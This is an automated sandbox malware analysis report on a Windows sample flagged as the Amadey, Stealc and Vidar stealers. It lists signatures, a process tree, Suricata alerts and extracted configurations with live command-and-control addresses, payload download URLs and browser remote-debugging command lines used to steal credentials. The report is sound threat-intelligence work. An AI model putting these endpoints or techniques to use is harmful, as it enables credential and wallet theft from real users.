Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562859
MD5:	39150cb5924999ed343818b23d52319f
SHA1:	5e32677c6eb3e4abd9400645e5c79601e3379964
SHA256:	a02e0441ef8f1c4768bf648c73f2a3210828a6f62836acbf73a3c93bae91747a
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2156 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 39150CB5924999ED343818B23D52319F)

chrome.exe (PID: 3684 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=1900,i,14079970636101778942,3824482336983158342,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2268,i,2486232455654180400,10786844336549321907,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 5592 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBKFBFCGI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsGCBKFBFCGI.exe (PID: 8040 cmdline: "C:\Users\user\DocumentsGCBKFBFCGI.exe" MD5: A5C1BEDE87AA32763C4260E89488190E)

skotes.exe (PID: 8920 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A5C1BEDE87AA32763C4260E89488190E)

msedge.exe (PID: 2844 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7708 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4640 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8500 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A5C1BEDE87AA32763C4260E89488190E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1975942575.0000000000661000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2032244854.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2562204259.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2687282375.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.1963202332.0000000005640000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1455623487.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2003520628.0000000000E41000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.1991635211.0000000005140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2156	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2156	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2156	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2156	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.DocumentsGCBKFBFCGI.exe.e40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2156, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3684, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:16.082605+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:15.751105+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:16.420386+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:17.894207+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:16.550070+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:15.292523+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:05:05.707422+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49930	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:02.687132+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49937	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:05:10.248127+0100	2803305	3	Unknown Traffic	192.168.2.8	49940	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:03:18.596641+0100	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-26T08:03:41.342928+0100	2803304	3	Unknown Traffic	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:43.622394+0100	2803304	3	Unknown Traffic	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:45.061431+0100	2803304	3	Unknown Traffic	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:46.212582+0100	2803304	3	Unknown Traffic	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:50.005000+0100	2803304	3	Unknown Traffic	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:51.098942+0100	2803304	3	Unknown Traffic	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:57.030789+0100	2803304	3	Unknown Traffic	192.168.2.8	49829	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpb8E	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpoST	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001A.00000002.2032244854.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2156.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://31.41.244.11/files/random.exeem32	Virustotal: Detection: 18%			Perma Link
Source: http://185.215.113.16/mine/random.exe~	Virustotal: Detection: 16%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CA66C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CBBA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB44C0 PK11_PubEncrypt,	0_2_6CBB44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB84420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CB84420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB4440 PK11_PrivDecrypt,	0_2_6CBB4440

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49873 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49930 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49937

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
